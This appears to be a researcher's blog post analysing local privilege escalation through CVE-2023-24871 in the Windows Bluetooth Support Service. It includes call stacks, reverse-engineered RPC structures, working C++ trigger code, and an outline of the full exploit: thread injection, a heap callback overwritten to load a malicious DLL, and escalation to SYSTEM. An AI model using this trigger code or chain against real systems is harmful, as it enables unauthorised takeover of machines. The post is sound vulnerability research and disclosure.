← CVE-2023-24871 - RCE CVE-2023-23388 →

The path to LPE using CVE-2023-24871 is much simpler than the paths leading to RCE, as there’s only a single module that’s affected. And of course, the attack is local, so there’s no need to mess around with two devices. This is a pretty classic LPE case on Windows - a privileged service runs an RPC server that unprivileged applications can connect to. Data sent from the unprivileged client can trigger a vulnerability on the server, and a wild LPE manifests.

contents


[1.0] reachability


In this case, there’s only a single vulnerable module, and that’s once again the Bluetooth Support Service, that we’ll once again call bthserv. This service runs an RPC server that unprivileged applications can connect to. The interface that connects unprivileged applications to the RPC server is public and exposed via WinRT API under Windows.Devices.Bluetooth. The interface allows applications to do a whole lot of things involving BLE, including setting up outgoing advertisements via BluetoothLEAdvertisementPublisher objects.

The vulnerable function is reachable through the following code path in Windows.Internal.Bluetooth.dll that’s used by the service:

Windows.Internal.Bluetooth.dll!BthLELib_ADValidateEx()
Windows.Internal.Bluetooth.dll!Windows::Devices::Bluetooth::EventBroker::BluetoothLEAdvertisementPublisherTrigger::s_UnpackParameters(struct _BR_EVENT_PARAMETERS *,enum BluetoothEventBroker_AdvertisementPublisherVersion)
Windows.Internal.Bluetooth.dll!<lambda>(void)()
Windows.Internal.Bluetooth.dll!wil::ResultFromException<<lambda>(void)>()
Windows.Internal.Bluetooth.dll!Windows::Devices::Bluetooth::EventBroker::BluetoothLEAdvertisementPublisherTrigger::Create(class std::shared_ptr<class BluetoothEventBroker>,struct _BROKERED_EVENT *,struct _BR_EVENT_PARAMETERS *,enum _BR_EVENT_CALL_REASON,void *,unsigned short const *,unsigned long,class std::shared_ptr<class BaseTrigger> &)
Windows.Internal.Bluetooth.dll!<lambda>(void)()
Windows.Internal.Bluetooth.dll!wil::ResultFromException<<lambda>(void)>()
Windows.Internal.Bluetooth.dll!BluetoothEventBroker::s_OnCreateEvent(enum _BR_EVENT_CALL_REASON,struct _BROKER *,struct _BROKERED_EVENT *,struct _BR_EVENT_PARAMETERS *,unsigned short const *,void *,void *,void *,void * *,unsigned long *,struct _BR_NEW_EVENT_INFORMATION *)
BrokerLib.dll!Broker::BrokerBase::CreateBrokeredEventEA()
BrokerLib.dll!BrpCreateBrokeredEvent()
BrokerLib.dll!_BriCreateEvent()
rpcrt4.dll!Invoke()
...

At the bottom of the callstack is the familiar rpcrt4.dll!Invoke(), meaning that the call comes from an RPC call issued by a client. To reach the function, it’s sufficient to issue this RPC call from an application that previously connected to the server. A standard way of doing that would be to use the NtObjectManager library, but here we have an opportunity to do it in a more managed way. Note that one of the entries in the call stack is BluetoothLEAdvertisementPublisherTrigger::Create, which points towards the server creating a BluetoothLEAdvertisementPublisherTrigger object. And indeed, this code path can be triggered by creating such an object in an unprivileged application, filling it with the appropriate data, and registering it under a background task. For example, the following C++/CX WinRT code would do the job:

auto trigger = ref new BluetoothLEAdvertisementPublisherTrigger();
trigger->UseExtendedFormat = true;

auto manufacturerData = ref new BluetoothLEManufacturerData();
manufacturerData->CompanyId = 0x1234;
trigger->Advertisement->ManufacturerData->Append(manufacturerData);

auto builder = ref new BackgroundTaskBuilder();
builder->SetTrigger(trigger);
builder->Register();

The client callstack looks like:

rpcrt4.dll!NdrpClientCall3()
rpcrt4.dll!NdrClientCall3()
biwinrt.dll!RBiRtCltCreateEventForApp(void *)
biwinrt.dll!BiRtCreateEventForApp(_GUID * EventId=0x000001977a2ea508, const _GUID * BrokerId=0x00007ffd034fd5b0, unsigned long EventFlags=0, _BR_EVENT_PARAMETERS * Parameters=0x00000073574fe518)
Windows.Devices.Bluetooth.dll!Windows::ApplicationModel::Background::BluetoothLEAdvertisementPublisherTrigger::Create(void)
biwinrt.dll!Windows::ApplicationModel::Background::CBackgroundTaskBuilder::Register(Windows::ApplicationModel::Background::IBackgroundTaskRegistration * * Task=0x000001977d575a40)
... (this is on a different thread than the code which executes above)

One problem with the approach above is that advertisement data that would otherwise trigger the vulnerability will be rejected by local checks in BluetoothLEAdvertisementPublisherTrigger::Create. The function ensures that there are at most 255 sections in the advertisement data and exits early if that’s not the case. To prevent this from happening, we could dirty patch the checks since they’re local, but that becomes a mess to deal with across different versions of the DLL.

Initially I meant to reverse the format that the requests were serialized to in RPC packets, but there turned out to be a path of less resistance. Looking at the call stacks above, we can see that there’s an intermediate layer between the RPC runtime and WinRT. The server side callstack contains a few entries from BrokerLib.dll, with client side counterparts in biwinrt.dll. The function names point towards there being bluetooth “events” that the requests are transformed to and from. Long story short, reversing the structures here was pretty simple and I had working code fairly quickly. You can find out more about this middle layer in the post describing the other vulnerability, as it’s present in the RPC server code in BrokerLib.dll.

The code below can then be used to trigger the vulnerability:

// Reverse engineered from Windows.Devices.Bluetooth.dll
enum class BR_VALUE_TYPE
{
    INT = 0,
    BUFFER = 4,
};

// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec(align(8)) BR_BUFFER
{
    uint64_t m_Size;
    const void* m_Data;
};

// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec (align(8)) BR_EVENT_PARAMETER
{
    BR_EVENT_PARAMETER(const wchar_t* name, int32_t value)
    {
        m_Name = name;
        m_Type = BR_VALUE_TYPE::INT;
        m_IntValue = value;
    }

    BR_EVENT_PARAMETER(const wchar_t* name, const BR_BUFFER& value)
    {
        m_Name = name;
        m_Type = BR_VALUE_TYPE::BUFFER;
        m_BufValue = value;
    }

    const wchar_t* m_Name;
    BR_VALUE_TYPE m_Type;
    union
    {
        int32_t m_IntValue;
        BR_BUFFER m_BufValue;
    };
};

HRESULT TriggerVuln(const std::vector<uint8_t>& advData)
{
    // Fetch the pointer to BiRtCreateEventForApp
    using BiRtCreateEventForAppFn = HRESULT(GUID&, GUID&, int64_t, BR_BUFFER&);
    HMODULE biWinRtModule = GetModuleHandle(L"biwinrt.dll");
    std::function<BiRtCreateEventForAppFn> createEventForApp = reinterpret_cast<BiRtCreateEventForAppFn*>(GetProcAddress(biWinRtModule, "BiRtCreateEventForApp"));
    
    // event parameters, taken from BluetoothLEAdvertisementPublisherTrigger::Create
    std::vector<BR_EVENT_PARAMETER> eventParameters;
    eventParameters.emplace_back(L"EventType", 4);
    eventParameters.emplace_back(L"Version", 3);
    eventParameters.emplace_back(L"UseExtendedFormat", 1);
    eventParameters.emplace_back(L"IsAnonymous", 0);
    eventParameters.emplace_back(L"IncludeTransmitPowerLevel", 0);
    eventParameters.emplace_back(L"AdvertisementPayload", BR_BUFFER{ advData.size(), advData.data() });
    
    GUID zeroGuid = {};
    BR_BUFFER eventParams = { eventParameters.size(), eventParameters.data() };
    
    // Bluetooth GUID, taken from Windows.Devices.Bluetooth.dll
    uint8_t bthEventBrokerGuidBytes[] = { 0x62, 0xE9, 0xCA, 0xFC, 0x22, 0x47, 0xC7, 0x40, 0xA4, 0x6D, 0xFE, 0x51, 0x53, 0x28, 0x07, 0x23 };
    GUID bthEventBrokerGuid = {};
    memcpy(&bthEventBrokerGuid, bthEventBrokerGuidBytes, sizeof(GUID));
    
    // Send our event
    return createEventForApp(zeroGuid, bthEventBrokerGuid, 0, eventParams);
}

Calling the function above with appropriate advertisement data as the parameter will propagate the data all the way to the vulnerable function, triggering the vulnerability in bthserv.

[2.0] prerequisites


Unlike the RCE case, the prerequisites for an LPE to be achievable are pretty standard. The only condition needed for a system to be vulnerable is for Bluetooth to be enabled. Even when the local controller doesn’t support or enable extended advertising, the code path to the vulnerable function doesn’t check whether the client request is asking for extended advertising (this happens further down the bluetooth stack).

Connecting to the RPC server that’s hosted by bthserv requires the calling application to be in AppContainer and declare the Bluetooth capability. This prevents regular native applications from communicating with the server, but they can just start an AppContainer with the capability and they’ll be good to go. In my PoC / exploit I opted to just inject a thread into StartMenuExperienceHost.exe, since that process already hosts an app with the required capability.

[3.0] poc + exploit


There’s both a simple PoC and a fully functional exploit on github. Unlike classic exploits which go from read/write primitives to stack pivot + ROP chain, this one is a little more ad-hoc, as I didn’t want to dedicate too much time to it. It relies on overwriting certain heap memory that holds a pointer to a callback along with data that’s passed as the only argument to the callback. We overwrite the callback to point towards LoadLibraryW and the argument to point towards a file path in memory of one of the DLLs. We deploy a malicious DLL at this file path and let LoadLibraryW load it. Since bthserv runs as LOCAL SERVICE, what’s left is to escalate to SYSTEM. I used JuicyPotatoNG for that purpose. You can check out the video below for the demonstration of the exploit, and the github page for more details on how the exploit works and how to run it.


← CVE-2023-24871 - RCE CVE-2023-23388 →